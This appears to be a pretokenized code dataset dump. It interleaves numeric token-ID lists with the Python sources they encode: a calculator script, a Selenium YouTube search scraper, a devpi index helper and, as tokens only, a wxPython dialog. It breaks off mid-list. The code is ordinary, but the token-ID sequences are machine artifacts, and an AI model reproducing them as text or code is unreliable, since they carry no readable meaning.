310,
278,
13,
29937,
6652,
7541,
3630,
24352,
310,
2448,
329,
1617,
2522,
2620,
292,
28224,
7862,
313,
29928,
2190,
1660,
29897,
13,
29937,
2060,
5220,
287,
491,
278,
3148,
3086,
9327,
10606,
29889,
13,
29937,
13,
29937,
2823,
278,
19405,
1426,
297,
19405,
29889,
3945,
13,
29937,
13,
29937,
3509,
1266,
29871,
29906,
29900,
29900,
29929,
29892,
3014,
310,
22664,
13,
13383,
13383,
13383,
13383,
13383,
13,
13,
5215,
26437,
13,
3166,
26437,
29889,
1982,
29889,
1557,
24476,
15119,
1053,
2522,
24476,
7490,
13,
13,
22574,
353,
29871,
29946,
29900,
29900,
13,
9606,
22530,
353,
29871,
29941,
29945,
29900,
13,
13,
1990,
18878,
7490,
29898,
4421,
24476,
7490,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2522,
24476,
7490,
17255,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
11022,
6289,
29897,
13,
4706,
1583,
29889,
26947,
10463,
292,
580,
13,
13,
1990,
15518,
1626,
18069,
29898,
23310,
29889,
1626,
18069,
1125,
13,
1678,
9995,
13,
1678,
3992,
2761,
363,
1904,
322,
6216,
4128,
29889,
13,
1678,
350,
12772,
278,
8210,
4959,
363,
1404,
22060,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
11022,
6289,
1125,
13,
4706,
26437,
29889,
1626,
18069,
17255,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
11022,
6289,
29897,
13,
4706,
396,
396,
3789,
304,
5852,
746,
278,
9495,
338,
11484,
1550,
13,
4706,
396,
278,
3353,
1347,
338,
4629,
13,
4706,
1583,
29889,
8159,
29918,
21731,
353,
7700,
13,
4706,
396,
396,
8251,
1250,
363,
382,
29963,
29911,
29918,
10490,
29918,
5800,
29907,
3308,
4959,
13,
4706,
903,
265,
29918,
842,
29918,
18037,
29918,
14035,
353,
6213,
13,
13,
4706,
396,
29672,
8210,
4959,
13,
4706,
1583,
29889,
15708,
29898,
23310,
29889,
22240,
29911,
29918,
28024,
29918,
4897,
29892,
1583,
3032,
28970,
29918,
726,
29897,
13,
4706,
1583,
29889,
15708,
29898,
23310,
29889,
22240,
29911,
29918,
10490,
29918,
5800,
29907,
3308,
29892,
1583,
3032,
265,
29918,
842,
29918,
18037,
29897,
13,
13,
1678,
822,
903,
265,
29918,
842,
29918,
18037,
29898,
1311,
29892,
1741,
1125,
13,
4706,
9995,
13,
4706,
315,
905,
746,
278,
1426,
2761,
338,
731,
297,
8569,
304,
12141,
278,
3353,
13,
4706,
1426,
565,
5181,
13,
13,
4706,
584,
3207,
1741,
29901,
9495,
1741,
13,
4706,
9995,
13,
4706,
1741,
29889,
15797,
666,
580,
13,
4706,
1583,
29889,
8159,
29918,
21731,
353,
5852,
13,
13,
1678,
822,
903,
28970,
29918,
726,
29898,
1311,
29892,
1741,
1125,
13,
4706,
9995,
13,
4706,
5057,
4366,
1426,
310,
263,
3992,
18069,
871,
310,
694,
1426,
756,
367,
4629,
13,
13,
4706,
584,
3207,
1741,
29901,
9495,
1741,
13,
4706,
9995,
13,
4706,
396,
8561,
1854,
278,
9495,
1741,
338,
3625,
304,
916,
11621,
414,
13,
4706,
1741,
29889,
15797,
666,
580,
13,
4706,
2761,
353,
1741,
29889,
2577,
2624,
2061,
580,
13,
4706,
565,
1583,
29889,
8159,
29918,
21731,
29901,
13,
9651,
1583,
29889,
8159,
29918,
21731,
353,
7700,
13,
9651,
396,
5399,
393,
591,
505,
263,
3992,
18069,
13,
9651,
565,
338,
1491,
1990,
29898,
6451,
17255,
1990,
1649,
29892,
26437,
29889,
1626,
18069,
1125,
13,
18884,
396,
5399,
3692,
1426,
756,
1063,
4629,
29892,
13,
18884,
396,
565,
451,
29892,
1831,
278,
3353,
1347,
13,
18884,
313,
2962,
29892,
1095,
29897,
353,
2761,
29889,
2577,
15097,
580,
13,
18884,
565,
1369,
1275,
1095,
29901,
13,
462,
1678,
2761,
29889,
2697,
15097,
6278,
29896,
29892,
448,
29896,
29897,
13,
13,
13,
1990,
10604,
1626,
18069,
29898,
23310,
29889,
1626,
18069,
1125,
13,
1678,
9995,
13,
1678,
3992,
2761,
1304,
304,
2479,
14391,
29889,
13,
1678,
1939,
16278,
6068,
29889,
450,
3239,
338,
13,
1678,
16749,
287,
714,
29889,
4911,
508,
29915,
29873,
1831,
1426,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
11022,
6289,
1125,
13,
4706,
26437,
29889,
1626,
18069,
17255,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
11022,
6289,
29897,
13,
4706,
1583,
29889,
2697,
6103,
519,
29898,
8824,
29897,
13,
4706,
1583,
29889,
2697,
10581,
1625,
473,
29898,
1311,
29889,
2577,
9780,
2141,
2577,
10581,
1625,
473,
3101,
13,
13,
4706,
396,
29672,
304,
9495,
1741,
304,
4772,
1426,
12141,
292,
13,
4706,
396,
450,
1741,
674,
367,
14993,
2986,
2748,
278,
1246,
29899,
1627,
13,
4706,
396,
338,
2000,
29889,
13,
13,
4706,
1583,
29889,
15708,
29898,
23310,
29889,
22240,
29911,
29918,
6720,
17171,
29918,
22240,
3919,
29903,
29892,
1583,
3032,
3808,
29897,
13,
13,
13,
1678,
822,
903,
3808,
29898,
1311,
29892,
1741,
1125,
13,
4706,
9995,
13,
4706,
4721,
794,
4340,
11415,
310,
278,
9495,
1741,
13,
4706,
491,
451,
5432,
4971,
666,
2141,
13,
4706,
9995,
13,
4706,
1209,
13,
13,
1990,
3630,
7647,
29898,
23310,
29889,
7647,
1125,
13,
1678,
9995,
13,
1678,
29408,
934,
9262,
472,
8363,
931,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
848,
29918,
1761,
29892,
3847,
29922,
8516,
29892,
1426,
2433,
742,
334,
5085,
29892,
3579,
11022,
6289,
1125,
13,
4706,
9049,
6289,
1839,
2311,
2033,
353,
313,
22574,
29892,
17714,
22530,
29897,
13,
4706,
9049,
6289,
1839,
3257,
2033,
353,
376,
1469,
27930,
29908,
13,
4706,
26437,
29889,
7647,
17255,
2344,
12035,
1311,
29892,
3847,
29892,
334,
5085,
29892,
3579,
11022,
6289,
29897,
13,
4706,
1583,
29889,
1761,
29918,
974,
29918,
24220,
353,
5159,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3396,
353,
26437,
29889,
3313,
29903,
3950,
29898,
23310,
29889,
5348,
29911,
2965,
1964,
29897,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3945,
353,
26437,
29889,
3313,
29903,
3950,
29898,
23310,
29889,
5348,
29911,
2965,
1964,
29897,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3092,
353,
26437,
29889,
3313,
29903,
3950,
29898,
23310,
29889,
29950,
1955,
26664,
1164,
29911,
1964,
29897,
13,
4706,
1583,
3032,
16957,
29918,
29879,
3950,
353,
26437,
29889,
5756,
23544,
29903,
3950,
29898,
29945,
29892,
29871,
29945,
29897,
13,
4706,
1583,
3032,
15119,
353,
18878,
7490,
29898,
1311,
29892,
3114,
29922,
23310,
29889,
4717,
29902,
1660,
29928,
29918,
29933,
22364,
29892,
13,
462,
462,
29871,
2159,
7607,
22574,
448,
29871,
29906,
29900,
29892,
17714,
22530,
847,
29871,
29941,
876,
13,
4706,
1583,
29889,
2697,
29903,
3950,
29898,
1311,
3032,
29879,
3950,
29918,
3396,
29897,
13,
4706,
1583,
17255,
1867,
29918,
2680,
29898,
1272,
29918,
1761,
29892,
1426,
29922,
726,
29897,
13,
4706,
1583,
29889,
3453,
580,
13,
13,
1678,
822,
4770,
1867,
29918,
2680,
29898,
1311,
29892,
848,
29918,
1761,
29892,
1426,
2433,
29374,
13,
4706,
9995,
13,
4706,
5912,
278,
7928,
13,
4706,
9995,
13,
4706,
396,
788,
1426,
13,
4706,
565,
1426,
29889,
17010,
580,
1275,
376,
1115,
13,
9651,
1426,
353,
376,
4013,
9034,
12645,
947,
451,
2758,
2999,
848,
1738,
29905,
29876,
29908,
13,
9651,
1426,
4619,
376,
12148,
1831,
871,
697,
3630,
7790,
29876,
29908,
13,
4706,
1426,
29918,
24220,
353,
26437,
29889,
1626,
18069,
29898,
1311,
29892,
448,
29896,
29892,
851,
29898,
726,
511,
3114,
29922,
23310,
29889,
4330,
29918,
29924,
8647,
6227,
8895,
29892,
13,
462,
18884,
2159,
29922,
6278,
29896,
29892,
17714,
22530,
847,
29871,
29941,
876,
13,
4706,
1426,
29918,
24220,
29889,
2697,
6103,
519,
29898,
8824,
29897,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3945,
29889,
2528,
29898,
726,
29918,
24220,
29892,
29871,
29896,
29892,
26437,
29889,
5746,
29925,
9468,
891,
26437,
29889,
9818,
29892,
29871,
29896,
29900,
29897,
13,
4706,
474,
29891,
353,
29871,
29900,
13,
4706,
474,
29916,
353,
29871,
29900,
13,
4706,
364,
1884,
353,
26437,
29889,
21818,
3125,
29898,
1311,
3032,
15119,
29892,
448,
29896,
29892,
851,
29898,
1272,
29918,
1761,
29961,
29900,
1822,
978,
511,
13,
462,
795,
313,
29896,
29900,
29892,
29871,
29896,
29900,
511,
3114,
29922,
23310,
29889,
29934,
29933,
29918,
26284,
29897,
13,
4706,
364,
1884,
29889,
2697,
1917,
29898,
5574,
29897,
13,
4706,
1583,
29889,
1761,
29918,
974,
29918,
24220,
29889,
4397,
3552,
29878,
1884,
29892,
848,
29918,
1761,
29961,
29900,
12622,
13,
4706,
1583,
3032,
16957,
29918,
29879,
3950,
29889,
2528,
29898,
29878,
1884,
29892,
313,
19881,
29892,
474,
29916,
511,
313,
29896,
29892,
29871,
29896,
511,
13,
462,
1669,
26437,
29889,
28024,
891,
26437,
29889,
5746,
29925,
9468,
891,
26437,
29889,
3035,
29967,
17321,
29918,
16173,
14226,
29892,
29871,
29896,
29945,
29897,
13,
4706,
363,
474,
297,
3464,
29898,
29896,
29892,
7431,
29898,
1272,
29918,
1761,
22164,
13,
9651,
474,
29891,
4619,
29871,
29896,
13,
9651,
364,
1884,
353,
26437,
29889,
21818,
3125,
29898,
1311,
3032,
15119,
29892,
448,
29896,
29892,
13,
462,
462,
29871,
851,
29898,
1272,
29918,
1761,
29961,
29875,
1822,
978,
511,
313,
29896,
29900,
29892,
29871,
29896,
29900,
876,
13,
9651,
364,
1884,
29889,
2697,
1917,
29898,
8824,
29897,
13,
9651,
1583,
29889,
1761,
29918,
974,
29918,
24220,
29889,
4397,
3552,
29878,
1884,
29892,
848,
29918,
1761,
29961,
29875,
12622,
13,
9651,
1583,
3032,
16957,
29918,
29879,
3950,
29889,
2528,
29898,
29878,
1884,
29892,
313,
19881,
29892,
474,
29916,
511,
13,
462,
462,
259,
313,
29896,
29892,
29871,
29896,
511,
26437,
29889,
28024,
891,
26437,
29889,
5746,
29925,
9468,
891,
26437,
29889,
3035,
29967,
17321,
29918,
16173,
14226,
29892,
29871,
29896,
29945,
29897,
13,
4706,
1583,
3032,
15119,
29889,
2697,
29903,
3950,
29898,
1311,
3032,
16957,
29918,
29879,
3950,
29897,
13,
4706,
396,
788,
269,
3950,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3092,
29889,
2528,
3552,
29906,
29900,
29892,
29871,
29906,
29900,
511,
29871,
29896,
29892,
26437,
29889,
5746,
29925,
9468,
891,
26437,
29889,
3035,
29967,
17321,
29918,
16173,
14226,
29892,
29871,
29900,
29897,
13,
4706,
2826,
29918,
20713,
353,
26437,
29889,
3125,
29898,
1311,
29892,
26437,
29889,
1367,
29918,
29907,
23219,
29931,
29892,
376,
19420,
1159,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3092,
29889,
2528,
29898,
3092,
29918,
20713,
29892,
29871,
29900,
29892,
13,
462,
1669,
26437,
29889,
28024,
891,
26437,
29889,
22789,
3912,
891,
26437,
29889,
3035,
29967,
17321,
29918,
16173,
14226,
29892,
29871,
29896,
29900,
29897,
13,
4706,
2826,
29918,
8949,
353,
26437,
29889,
3125,
29898,
1311,
29892,
26437,
29889,
1367,
29918,
8949,
29892,
376,
20434,
1159,
13,
4706,
2826,
29918,
8949,
29889,
2697,
20560,
580,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3092,
29889,
2528,
29898,
3092,
29918,
8949,
29892,
29871,
29900,
29892,
13,
462,
1669,
26437,
29889,
28024,
891,
26437,
29889,
22789,
3912,
891,
26437,
29889,
3035,
29967,
17321,
29918,
16173,
14226,
29892,
29871,
29896,
29900,
29897,
13,
4706,
2294,
29918,
1220,
353,
26437,
29889,
17046,
3542,
29898,
1311,
29892,
448,
29896,
29897,
13,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3945,
29889,
2528,
29898,
1311,
3032,
15119,
29892,
29871,
29900,
29892,
26437,
29889,
5746,
29925,
9468,
891,
26437,
29889,
9818,
29892,
29871,
29945,
29897,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3396,
29889,
2528,
29898,
1311,
3032,
29879,
3950,
29918,
3945,
29892,
29871,
29900,
29892,
26437,
29889,
5746,
29925,
9468,
891,
26437,
29889,
9818,
29892,
29871,
29945,
29897,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3396,
29889,
2528,
29898,
7959,
29918,
1220,
29892,
29871,
29900,
29892,
26437,
29889,
5746,
29925,
9468,
29892,
29871,
29900,
29897,
13,
4706,
1583,
3032,
29879,
3950,
29918,
3396,
29889,
2528,
29898,
1311,
3032,
29879,
3950,
29918,
3092,
29892,
29871,
29900,
29892,
26437,
29889,
5746,
29925,
9468,
891,
26437,
29889,
9818,
29892,
29871,
29896,
29900,
29897,
13,
13,
1678,
822,
679,
29918,
1272,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
736,
278,
4629,
848,
13,
4706,
9995,
13,
4706,
363,
2944,
297,
1583,
29889,
1761,
29918,
974,
29918,
24220,
29901,
13,
9651,
364,
1884,
29892,
848,
353,
2944,
13,
9651,
565,
364,
1884,
29889,
2577,
1917,
7295,
13,
18884,
736,
848,
13,
2
] |
diff-operations.py | suhasksv/py-ground | 3 | 152713 | <reponame>suhasksv/py-ground
import time
print("Hi, Welcome to Quantum Tricks")
time.sleep(1.0)
print("This a different operations calculator using same numbers")
time.sleep(2.0)
print("Lets start calculating")
time.sleep(1.0)
num1 = int(input("Enter an integer:"))
num2 = int(input("Enter an integer:"))
# Calculating addition
def add(a, b):
return a + b
# Calculating subtraction
def sub(a, b):
return a - b
# Calculating multiplication
def mul(a, b):
return a * b
# Calculating division
def div(a, b):
return a / b
# Calculating exponent
def power(a, b):
return a ** b
# Calculating mod
def mod(a, b):
return a % b
ops = {"+": add, "add": add, "addition": add, "sum": add, "-": sub, "sub": sub, "subtraction": sub, "difference": sub, "x": mul,
"multiply": mul, "*": mul, "multiplication": mul, "div": div, "division": div, "/": div, "power": power, "^": power,
"**": power, "mod": mod, "%": mod, "||": mod, "| |": mod, }
while True:
op = input("Enter an operation:")
if op.lower() in ops:
print(eval("ops[op](num1, num2)"))
else:
print("Sorry operation does not exists. Please try again")
| [
1,
529,
276,
1112,
420,
29958,
2146,
29882,
1278,
4501,
29914,
2272,
29899,
2057,
13,
5215,
931,
13,
13,
2158,
703,
18567,
29892,
21829,
304,
22746,
398,
1605,
7358,
1159,
13,
2230,
29889,
17059,
29898,
29896,
29889,
29900,
29897,
13,
2158,
703,
4013,
263,
1422,
6931,
3408,
1061,
773,
1021,
3694,
1159,
13,
2230,
29889,
17059,
29898,
29906,
29889,
29900,
29897,
13,
2158,
703,
29931,
1691,
1369,
25202,
1159,
13,
2230,
29889,
17059,
29898,
29896,
29889,
29900,
29897,
13,
13,
1949,
29896,
353,
938,
29898,
2080,
703,
10399,
385,
6043,
29901,
5783,
13,
1949,
29906,
353,
938,
29898,
2080,
703,
10399,
385,
6043,
29901,
5783,
13,
13,
13,
29937,
20535,
1218,
6124,
13,
1753,
788,
29898,
29874,
29892,
289,
1125,
13,
1678,
736,
263,
718,
289,
13,
13,
13,
29937,
20535,
1218,
1014,
3018,
428,
13,
1753,
1014,
29898,
29874,
29892,
289,
1125,
13,
1678,
736,
263,
448,
289,
13,
13,
13,
29937,
20535,
1218,
21666,
13,
1753,
15065,
29898,
29874,
29892,
289,
1125,
13,
1678,
736,
263,
334,
289,
13,
13,
13,
29937,
20535,
1218,
8542,
13,
1753,
1933,
29898,
29874,
29892,
289,
1125,
13,
1678,
736,
263,
847,
289,
13,
13,
13,
29937,
20535,
1218,
28869,
13,
1753,
3081,
29898,
29874,
29892,
289,
1125,
13,
1678,
736,
263,
3579,
289,
13,
13,
13,
29937,
20535,
1218,
878,
13,
1753,
878,
29898,
29874,
29892,
289,
1125,
13,
1678,
736,
263,
1273,
289,
13,
13,
13,
3554,
353,
8853,
29974,
1115,
788,
29892,
376,
1202,
1115,
788,
29892,
376,
1202,
654,
1115,
788,
29892,
376,
2083,
1115,
788,
29892,
11663,
1115,
1014,
29892,
376,
1491,
1115,
1014,
29892,
376,
1491,
3018,
428,
1115,
1014,
29892,
376,
29881,
17678,
1115,
1014,
29892,
376,
29916,
1115,
15065,
29892,
13,
539,
376,
18056,
368,
1115,
15065,
29892,
26345,
1115,
15065,
29892,
376,
18056,
1414,
1115,
15065,
29892,
376,
4563,
1115,
1933,
29892,
376,
4563,
2459,
1115,
1933,
29892,
5591,
1115,
1933,
29892,
376,
13519,
1115,
3081,
29892,
13898,
1115,
3081,
29892,
13,
539,
376,
1068,
1115,
3081,
29892,
376,
1545,
1115,
878,
29892,
11860,
1115,
878,
29892,
376,
8876,
1115,
878,
29892,
376,
29989,
891,
1115,
878,
29892,
500,
13,
13,
8000,
5852,
29901,
13,
1678,
1015,
353,
1881,
703,
10399,
385,
5858,
29901,
1159,
13,
1678,
565,
1015,
29889,
13609,
580,
297,
288,
567,
29901,
13,
4706,
1596,
29898,
14513,
703,
3554,
29961,
459,
850,
1949,
29896,
29892,
954,
29906,
5513,
876,
13,
1678,
1683,
29901,
13,
4706,
1596,
703,
29903,
3818,
5858,
947,
451,
4864,
29889,
3529,
1018,
1449,
1159,
13,
2
] |
Fetch_contents/youtube_search.py | tshe777/WebSearch | 9 | 1606428 | import time
import webbrowser
import selenium
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver import ActionChains
def youtube_topic(yt_search):
print('============\nYOUTUBE\n============')
PATH = "C:\Program Files (x86)\chromedriver.exe" ## chrome executable on Windows
options_chrome = Options()
options_chrome.add_argument('headless') ## no UI
#yt_search = input('What are you looking for in YouTube? ')
## initialise the driver to youtube and open filters.
DRIVER = webdriver.Chrome(PATH, options=options_chrome)
DRIVER.get(f'https://www.youtube.com/results?search_query={yt_search}')
time.sleep(3)
filters = DRIVER.find_element_by_xpath('//*[@id="container"]/ytd-toggle-button-renderer')
ActionChains(DRIVER).click(filters).perform()
## try to locate the "last hour" button and click it.
try:
filter_box = WebDriverWait(DRIVER, 10).until(EC.presence_of_element_located((By.XPATH,'//*[@id="collapse-content"]/ytd-search-filter-group-renderer[1]')))
news = filter_box.find_elements_by_xpath('//*[@id="collapse-content"]/ytd-search-filter-group-renderer[1]')
DRIVER.find_element_by_link_text('Last hour').click()
finally:
pass
## find into the page all vids and print title and url.
main = WebDriverWait(DRIVER,10).until(EC.presence_of_element_located((By.ID, 'contents')))
time.sleep(5)
videos = main.find_elements_by_tag_name('ytd-video-renderer')
##==========================
container_titles = []
container_urls = []
vids = {}
##==========================
for video in videos[:10]:
video_title = video.find_element_by_id('video-title')
container_titles.append(video_title.text)
url = video.find_element_by_tag_name('a').get_attribute('href')
container_urls.append(url)
vids = dict(zip(container_titles,container_urls))
return vids
if __name__ == "__main__":
topic = input("what is your topic?: ")
print(youtube_topic(topic))
| [
1,
1053,
931,
30004,
13,
5215,
591,
1327,
8777,
30004,
13,
5215,
18866,
30004,
13,
3166,
18866,
1053,
1856,
9465,
30004,
13,
3166,
18866,
29889,
29813,
29889,
5924,
29889,
1481,
1053,
2563,
12376,
15716,
30004,
13,
3166,
18866,
29889,
29813,
29889,
5924,
1053,
3806,
29918,
1116,
2187,
408,
17522,
30004,
13,
3166,
18866,
29889,
29813,
29889,
9435,
29889,
1609,
1053,
2648,
30004,
13,
3166,
18866,
29889,
29813,
29889,
18114,
29889,
6768,
1053,
25186,
30004,
13,
3166,
18866,
29889,
29813,
1053,
9123,
1451,
2708,
30004,
13,
30004,
13,
30004,
13,
1753,
366,
29873,
4003,
29918,
13010,
29898,
3637,
29918,
4478,
1125,
30004,
13,
30004,
13,
12,
2158,
877,
4936,
2751,
29905,
29876,
29979,
12015,
7466,
29923,
29905,
29876,
4936,
2751,
1495,
30004,
13,
12,
30004,
13,
12,
10145,
353,
376,
29907,
3583,
9283,
12745,
313,
29916,
29947,
29953,
2144,
27433,
287,
3511,
29889,
8097,
29908,
12,
2277,
16735,
16813,
373,
3852,
30004,
13,
12,
6768,
29918,
18114,
353,
25186,
26471,
13,
12,
6768,
29918,
18114,
29889,
1202,
29918,
23516,
877,
2813,
2222,
1495,
259,
444,
694,
3740,
29871,
6756,
13,
12,
29937,
3637,
29918,
4478,
353,
1881,
877,
5618,
526,
366,
3063,
363,
297,
14711,
29973,
525,
8443,
13,
30004,
13,
12,
2277,
2847,
895,
278,
7156,
304,
366,
29873,
4003,
322,
1722,
18094,
22993,
13,
12,
29928,
3960,
5348,
353,
1856,
9465,
29889,
1451,
4871,
29898,
10145,
29892,
3987,
29922,
6768,
29918,
18114,
8443,
13,
12,
29928,
3960,
5348,
29889,
657,
29898,
29888,
29915,
991,
597,
1636,
29889,
19567,
29889,
510,
29914,
9902,
29973,
4478,
29918,
1972,
3790,
3637,
29918,
4478,
29913,
1495,
30004,
13,
12,
2230,
29889,
17059,
29898,
29941,
8443,
13,
12,
26705,
353,
360,
3960,
5348,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
7611,
3108,
29914,
29891,
1594,
29899,
13270,
29899,
3092,
29899,
9482,
261,
1495,
30004,
13,
12,
4276,
1451,
2708,
29898,
29928,
3960,
5348,
467,
3808,
29898,
26705,
467,
19826,
26471,
13,
30004,
13,
12,
2277,
1018,
304,
26694,
278,
376,
4230,
7234,
29908,
2826,
322,
2828,
372,
22993,
13,
12,
2202,
29901,
30004,
13,
12,
1678,
4175,
29918,
1884,
353,
2563,
12376,
15716,
29898,
29928,
3960,
5348,
29892,
29871,
29896,
29900,
467,
29305,
29898,
11206,
29889,
4569,
663,
29918,
974,
29918,
5029,
29918,
28809,
3552,
2059,
29889,
29990,
10145,
5501,
458,
29930,
17548,
333,
543,
27756,
29899,
3051,
3108,
29914,
29891,
1594,
29899,
4478,
29899,
4572,
29899,
2972,
29899,
9482,
261,
29961,
29896,
29962,
29915,
4961,
30004,
13,
12,
1678,
9763,
353,
4175,
29918,
1884,
29889,
2886,
29918,
17664,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
27756,
29899,
3051,
3108,
29914,
29891,
1594,
29899,
4478,
29899,
4572,
29899,
2972,
29899,
9482,
261,
29961,
29896,
29962,
1495,
30004,
13,
30004,
13,
12,
1678,
360,
3960,
5348,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
2324,
29918,
726,
877,
8897,
7234,
2824,
3808,
26471,
13,
12,
4951,
635,
29901,
30004,
13,
12,
1678,
1209,
30004,
13,
30004,
13,
12,
2277,
1284,
964,
278,
1813,
599,
325,
4841,
322,
1596,
3611,
322,
3142,
22993,
13,
12,
3396,
353,
2563,
12376,
15716,
29898,
29928,
3960,
5348,
29892,
29896,
29900,
467,
29305,
29898,
11206,
29889,
4569,
663,
29918,
974,
29918,
5029,
29918,
28809,
3552,
2059,
29889,
1367,
29892,
525,
10853,
29915,
4961,
30004,
13,
12,
2230,
29889,
17059,
29898,
29945,
8443,
13,
12,
29894,
7958,
353,
1667,
29889,
2886,
29918,
17664,
29918,
1609,
29918,
4039,
29918,
978,
877,
29891,
1594,
29899,
9641,
29899,
9482,
261,
1495,
30004,
13,
30004,
13,
12,
2277,
9166,
4936,
1360,
30004,
13,
12,
7611,
29918,
23545,
793,
353,
5159,
30004,
13,
12,
7611,
29918,
26045,
353,
5159,
30004,
13,
12,
29894,
4841,
353,
6571,
30004,
13,
12,
2277,
9166,
4936,
1360,
30004,
13,
30004,
13,
12,
1454,
4863,
297,
19707,
7503,
29896,
29900,
5387,
30004,
13,
12,
1678,
4863,
29918,
3257,
353,
4863,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
333,
877,
9641,
29899,
3257,
1495,
30004,
13,
12,
1678,
5639,
29918,
23545,
793,
29889,
4397,
29898,
9641,
29918,
3257,
29889,
726,
8443,
13,
12,
1678,
3142,
353,
4863,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
4039,
29918,
978,
877,
29874,
2824,
657,
29918,
12715,
877,
12653,
1495,
30004,
13,
12,
1678,
5639,
29918,
26045,
29889,
4397,
29898,
2271,
8443,
13,
30004,
13,
12,
29894,
4841,
353,
9657,
29898,
7554,
29898,
7611,
29918,
23545,
793,
29892,
7611,
29918,
26045,
876,
30004,
13,
12,
2457,
325,
4841,
30004,
13,
30004,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
30004,
13,
1678,
11261,
353,
1881,
703,
5816,
338,
596,
11261,
25825,
376,
8443,
13,
1678,
1596,
29898,
19567,
29918,
13010,
29898,
13010,
876,
30004,
13,
2
] |
src/crl/devutils/_tmpindex.py | petrieh/crl-devutils | 0 | 69996 | <gh_stars>0
import os
from contextlib import contextmanager
import virtualenvrunner.runner
from crl.devutils.utils import get_randomstring
from crl.devutils.doccreator import DocCreator
from crl.devutils.devpiindex import DevpiIndex
__copyright__ = 'Copyright (C) 2019, Nokia'
class _TmpIndex(DevpiIndex):
def __init__(self,
run,
packagehandler,
baseindex=None,
baseurl=None,
index_name=None,
username=None,
clientarg=None):
super(_TmpIndex, self).__init__(self)
self.run = run
self.packagehandler = packagehandler
self.baseindex = baseindex
self.baseurl = baseurl
self.username = username
self.clientarg = clientarg
self._index = index_name
self._set_default_cleanup(not bool(index_name))
@property
def index(self):
if not self._index:
self._index = 'tmp_{random}'.format(random=get_randomstring(10))
return self._index
def _set_default_cleanup(self, cleanup):
self._default_cleanup = cleanup
def __enter__(self):
if not self.index_exists():
self.create_index()
self.use_index()
return self
def __exit__(self, *args):
if self._default_cleanup:
self.delete_index()
def test(self):
self._upload()
self.run('devpi test {spec}{clientarg} --detox'.format(
spec=self.spec,
clientarg=self.clientarg))
def _upload(self):
self.run('devpi upload{clientarg}'.format(
clientarg=self.clientarg))
if self._is_docs:
with self._docsrunnercontext() as runner:
self._generate_robotdocs(runner)
self._upload_only_docs(runner)
def publish(self, index):
self.push(self.spec, index)
def _docsrunnercontext(self):
@contextmanager
def _runner():
yield self
return (_runner()
if self.packagehandler.novirtualenv else
virtualenvrunner.runner.Runner(pip_index_url=self.pypiurl,
run=self.run))
@property
def _is_docs(self):
return os.path.isdir('sphinxdocs')
def _generate_robotdocs(self, runner):
if not self.packagehandler.novirtualenv:
self._install_docs_requirements(runner)
DocCreator(robotdocs_root_folders='robotdocs',
run=runner.run).create_robotdocs()
def _install_docs_requirements(self, runner):
runner.run('pip install crl.devutils -i {pypiurl}'.format(
pypiurl=self.pypiurl))
runner.run('pip install {name}=={version} -i {pypiurl}'.format(
name=self.packagehandler.name,
version=self.packagehandler.version,
pypiurl=self.pypiurl))
def _upload_only_docs(self, runner):
runner.run('devpi upload --no-vcs --only-docs{clientarg}'.format(
clientarg=self.clientarg))
@property
def spec(self):
return '{name}=={version}'.format(
name=self.packagehandler.name,
version=self.packagehandler.version)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
2897,
13,
3166,
3030,
1982,
1053,
3030,
12847,
13,
5215,
6901,
6272,
27492,
29889,
27492,
13,
3166,
274,
2096,
29889,
3359,
13239,
29889,
13239,
1053,
679,
29918,
8172,
1807,
13,
3166,
274,
2096,
29889,
3359,
13239,
29889,
1514,
1037,
1061,
1053,
28197,
9832,
1061,
13,
3166,
274,
2096,
29889,
3359,
13239,
29889,
3359,
1631,
2248,
1053,
9481,
1631,
3220,
13,
13,
13,
1649,
8552,
1266,
1649,
353,
525,
11882,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29929,
29892,
405,
554,
423,
29915,
13,
13,
13,
1990,
903,
29911,
1526,
3220,
29898,
16618,
1631,
3220,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
13,
462,
1065,
29892,
13,
462,
3577,
13789,
29892,
13,
462,
2967,
2248,
29922,
8516,
29892,
13,
462,
2967,
2271,
29922,
8516,
29892,
13,
462,
2380,
29918,
978,
29922,
8516,
29892,
13,
462,
8952,
29922,
8516,
29892,
13,
462,
3132,
1191,
29922,
8516,
1125,
13,
4706,
2428,
7373,
29911,
1526,
3220,
29892,
1583,
467,
1649,
2344,
12035,
1311,
29897,
13,
4706,
1583,
29889,
3389,
353,
1065,
13,
4706,
1583,
29889,
5113,
13789,
353,
3577,
13789,
13,
4706,
1583,
29889,
3188,
2248,
353,
2967,
2248,
13,
4706,
1583,
29889,
3188,
2271,
353,
2967,
2271,
13,
4706,
1583,
29889,
6786,
353,
8952,
13,
4706,
1583,
29889,
4645,
1191,
353,
3132,
1191,
13,
4706,
1583,
3032,
2248,
353,
